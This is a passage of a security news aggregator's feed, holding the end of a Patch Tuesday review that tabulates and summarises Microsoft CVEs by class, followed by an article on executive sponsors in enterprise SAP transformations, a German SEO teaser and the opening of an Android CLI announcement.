  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
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<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Voice Search Optimization: Die Zukunft des SEO]]></title>
<description><![CDATA[Entdecken Sie, wie Voice Search Optimization Ihre SEO-Strategie revolutioniert. Praxistipps für besseres Ranking bei Sprachsuchen.]]></description>
<link>https://tsecurity.de/de/3694380/it-security-nachrichten/voice-search-optimization-die-zukunft-des-seo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694380/it-security-nachrichten/voice-search-optimization-die-zukunft-des-seo/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Entdecken Sie, wie Voice Search Optimization Ihre SEO-Strategie revolutioniert. Praxistipps für besseres Ranking bei Sprachsuchen.]]></content:encoded>
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<title><![CDATA[Android CLI Now Stable 1.0: Accelerate developing for Android using any agent]]></title>
<description><![CDATA[Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity...]]></description>
<link>https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:49 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVLU7gkfsf4axphzvtOKcqEkI3MLKZqX6Y9jGVReW6Ximz61c8klVVc0_Xs5Fw_aqk5yjl3K-Mit6cyKq0SLOJbUhUZ7R3dZZcwShqn5jYp-DuHY8hNoBWHJkicoIJ9DKRINQt6seAB3s2mcwANFYX9k0scYyCgfIYQrof7ImxOvzEW7BNj0ZPwEGB5FI/s2048/GoogleForDevelopers-AndroidCombo3-StrapiMetacard-2048x1323%20(1).png">





<div><div class="separator"><i>Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers</i><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s4209/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s16000/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"></a></div></div><div><br></div><div>
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity CLI, or third-party agents like Anthropic's Claude Code or OpenAI'sCodex, our mission remains the same: to ensure that high-quality Android development is possible everywhere.

